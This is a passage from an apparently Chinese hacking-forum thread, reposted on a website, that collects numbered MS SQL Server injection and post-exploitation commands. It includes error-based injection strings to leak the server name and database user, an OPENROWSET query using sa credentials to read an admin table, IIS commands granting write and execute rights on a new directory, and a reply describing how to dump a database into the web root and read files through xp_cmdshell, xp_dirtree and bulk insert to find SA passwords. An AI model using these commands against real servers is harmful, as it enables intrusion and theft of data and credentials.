&#61548;    建立kiss虚拟目录:cscript.exe  c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"   
&#61548;    为kiss目录加执行和写权限:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s: 
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
&#61548;    ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
&#61548;    访问:

27、使用openrowset()连回本地做测试:
SELECT a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
   'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a

SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
   'SELECT * FROM [dvbbs].[dbo].[dv_admin]')

28、获得主机名:
and 1=convert(int,@@servername)--
select  convert(int,@@servername)
select @@servername

29、获得数据库用户名:
and 1=convert(int,system_user)--
and user>0
select user

pt007 编辑于 2006-01-02 18:46 
pt007  发表于:2005-10-17 13:51  
 
发帖: 14
积分: 1
注册: 2004-09-29
 我会不定期的把最新的发现加入文档中,希望大家也把自己发现的一些好的命令补充进来,发扬网络共产主义精神.HEHE

pt007 编辑于 2005-10-18 10:11 
pt007  发表于:2005-12-07 16:11  
 
发帖: 14
积分: 1
注册: 2004-09-29
 新增26和20项部分 
pt007  发表于:2006-01-02 18:46  
 
发帖: 14
积分: 1
注册: 2004-09-29
 新增27-29项

pt007 编辑于 2006-01-02 18:46 
qimeng  发表于:2006-01-02 20:43  
 
发帖: 10
积分: 0
注册: 2003-10-11
 支持一下,你的耐心精神,多谢。
---
黑病毒-EST-邪恶八进制
为技术而活着的人 渴望研究技术的美 永远追随技术最高峰!!!
ShaDoM  发表于:2006-01-03 03:52  
 
发帖: 316
积分: 0
注册: 2005-04-26
 增加几条,呵呵
sa 权限下以知web路径直接备份数据库到web路径下

database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容

全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

遍历系统的目录结构,分析结果并发现WEB虚拟目录
先创建一个临时表:temp

table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

 接下来:
我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
temp exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
或者利用xp_subdirs获得子目录列表,并存入temp表中:
into temp(id) exec master.dbo.xp_subdirs 'c:\';--

我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录(文件夹)列表:

如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'   浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
---

    [阅读次数:189]
 [新闻出处:]
 上一条新闻: DOC文件直接下载
 下一条新闻: 用程序来自动建立FTP帐号(serv-u的odbc设置)
相关新闻:
站 内 搜 索
请输入查询的字符串:

 
点 击 排 行
页 面 广 告
 
关于我们 | 联系方式 | 支付方式 | 站点统计
版权所有 DoILike.Com Ltd.,地址:山东省济南市舜耕路22号综合楼101室
电 话:13065088567 联系人:许老师 设计制作:DoILike.COM